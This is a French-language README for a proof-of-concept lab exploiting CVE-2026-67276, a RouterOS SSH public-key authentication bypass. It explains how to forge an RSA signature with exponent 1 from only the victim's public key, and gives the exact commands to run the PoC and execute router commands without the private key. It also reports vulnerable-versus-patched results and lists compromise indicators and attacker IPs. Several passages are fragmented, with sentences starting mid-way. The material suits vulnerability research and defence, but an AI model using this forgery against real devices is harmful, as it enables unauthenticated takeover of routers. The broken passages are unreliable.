
CVE-2026-67276 Laboratoire PoC de contournement de l'authentification par clé publique SSH de RouterOS
Usage en laboratoire uniquement. À exécuter exclusivement contre des instances RouterOS que vous possédez. Attaquer des appareils que vous ne possédez pas est un crime (CFAA, art. 267 du droit polonais, équivalents).
Le CERT PL (2026-09-05) a divulgué six vulnérabilités RouterOS, activement exploitées dans la nature comme chaîne « MikroTrick » (prise de contrôle totale non authentifiée de l'appareil lorsque SSH est accessible depuis Internet). Corrigées par MikroTik le 2026-09-03 dans 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Type | Défaut principal |
|---|
| 2026-67276 | CWE-347 (ce PoC) | La correspondance de clé userauth SSH vérifie (type de clé, module) mais omet l'exposant ; la vérification de signature utilise la clé fournie par le client ⇒ contrefaçon e=1 |
| 2026-86060 | CWE-88 | Injection d'arguments via un nom d'utilisateur commençant par un caractère interdit (-2 observé dans les journaux d'attaque) ⇒ modification du masque de politique ⇒ élévation de privilèges |
| 2026-67279 | CWE-841 | SSH entre dans le protocole de connexion après un rekey demandé par le client sans userauth terminé ⇒ exécution non authentifiée dans l'espace de noms de fichiers |
| 2026-67277 | CWE-306 | État pré-authentification bandwidth-test + divulgation de tampon non initialisé + sous-dimensionnement ⇒ fuite de mémoire noyau / redémarrage |
| 2026-67278 | CWE-347 | X.509 accepte des signatures RSA/PKCS#1v1.5 malformées ; ancre de confiance e=3 ⇒ contrefaçon d'intermédiaire de confiance |
| 2026-67281 | CWE-824 | Pointeur principal non initialisé obsolète WebFig /jsproxy + échappement de chemin ⇒ lecture de fichier root |
Plages vulnérables (toutes les six) : [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=victime} rend sig^1 mod n == sig, donc la
« signature » valide est simplement EMSA-PKCS1-v1_5(hash, authdata) — calculable
par quiconque connaît le module public de la victime. Aucune clé privée nécessaire.Conditions préalables (le minimum de la divulgation elle-même) : nom d'utilisateur cible + module RSA public autorisé de cet utilisateur.
n de cette clé autorisée (à partir d'un .pub divulgué/capturé,
d'enregistrements de provisionnement, ou --modulus-hex). C'est la seule entrée
quasi-secrète ; la clé privée n'est jamais nécessaire.ForgeKey — OpenSSH standard ne le peut pas).ssh-rsa sur 6.x, rsa-sha2-256
également sur 7.x).forge_67276.py — primitive : analyse de clé publique OpenSSH, encodeur EMSA RFC 8017,
constructeurs de blob/signature contrefaits, vérificateur de référence RFC 8017.selftest.py — preuve locale, sans routeur : encodeur identique octet par octet à OpenSSL
(via inversion de signature réelle), signature contrefaite vérifiée à e=1 et PAS à 65537,
simulation complète de la forme filaire RFC 4252 §7. Les 15 vérifications PASSENT.poc_67276.py — client paramiko effectuant le contournement (épinglage d'algorithme
par connexion ; --lab-i-own-this-target requis).console_setup.py — préparation CHR ponctuelle via telnet série qemu
(récupération de la clé victime via 10.0.2.2, import pour admin, activation ssh).sanity_real_key.py — témoin : l'authentification par clé publique normale doit réussir d'abord.victim_rsa / victim.pub — paire de clés « victime » jetable générée de 2048 bits ;
délibérément exclue de Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, pont hôte br0
(192.168.100.1/24) avec taps tap0-tap3 ; dnsmasq sur br0 avec baux par MAC.| VM | Image | IP invitée | MAC | Tunnel côté Mac |
|---|---|---|---|---|
| chr-6.49.20 | 6.x vulnérable | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 6.x corrigé | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 7.x vulnérable | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 7.x corrigé | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, et clé victime importée pour admin. Les changements de mot de passe forcés à la
première connexion ont été pilotés via SSH (bootstrap_password.py lit le dialogue) ou
le moniteur QEMU sendkey (mon_type.py) — la console série de CHR est morte par
défaut ; la console VGA n'est lisible que via le screendump du moniteur.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Ré-exécution (exemple, VM3) :
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # référence
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Cible | clé privée réelle (référence) | clé contrefaite e=1 (PoC) |
|---|---|---|
| 7.23.3 | auth OK | auth OK + exécution /system resource print — CVE confirmée |
| 7.23.4 (corrigé) | auth OK | rejetée |
| 6.49.20 | auth OK | rejetée (voir nuance) |
| 6.49.21 (corrigé) | référence invalide | non interprétable ; l'invité a accepté l'authentification SSH none |
Pour la paire 7.x, la référence de clé réelle réussit sur les deux builds, l'authentification SSH
none est rejetée, une contrefaçon à module erroné est rejetée par 7.23.3,
et la contrefaçon à module correct réussit uniquement sur 7.23.3. C'est une
comparaison valide vulnérable-versus-corrigé.
L'invité 6.49.21 n'a pas été provisionné comme documenté lors de la revalidation
indépendante : admin est resté expiré, /user ssh-keys print detail était
vide, et une requête SSH none sans identifiants a exécuté des commandes. Des clés
RSA réelles sans rapport et des clés e=1 à module erroné ont donc également semblé réussir.
Re-provisionner cet invité et vérifier que none et une clé sans rapport sont rejetés
avant de l'utiliser comme témoin corrigé.
Nuance de version : sur 6.49.20, la correspondance côté serveur rejette le blob e=1
(/log ssh,debug : can't find matching key for user: admin) — l'omission
d'exposant divulguée n'était pas observable dans le matcher de 6.x bien que la plage
globale du CERT liste [6.0.0, 6.49.21). Confirmé vulnérable : 7.23.3. Confirmé
corrigé : 7.23.4. L'état actuel du laboratoire 6.49.21 ne prouve aucun résultat. L'activité
MikroTrick dans la nature ciblait également les appareils 7.x.
Constat de format filaire (RFC 8332) : la chaîne de type interne du blob reste
ssh-rsa même pour les algorithmes de signature rsa-sha2-256/512 ; l'algorithme de signature
ne va que dans le champ d'algorithme externe. Ignorer cela fait déconnecter le serveur
en plein userauth (erreur d'analyse du blob) — observé sur 6.x et 7.x.
Le ForgeKey du PoC gère cela, et --exp-enc aligned|canonical bascule
la largeur mpint de e=1 (1 contre 3 octets). Sur 7.23.3, LES DEUX largeurs s'authentifient — le
matcher analyse l'exposant et ignore réellement sa valeur. Sur 6.49.20, AUCUNE ne
s'authentifie (can't find matching key) — voir la nuance de version ci-dessus.
Les hexdumps de paquets /system logging add topics=ssh,debug + /log print
côté serveur ont révélé tout cela.
Valeurs SHA-256 de l'archive d'images source utilisées par ce laboratoire :
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip> ; utilisateur inconnu hautement privilégié ops ;
marqueur /system/device-mode/print « Flagged » (indique une compromission, son
absence ne prouve rien). IP d'attaquants observées : 82.192.72.4, 103.102.31.18.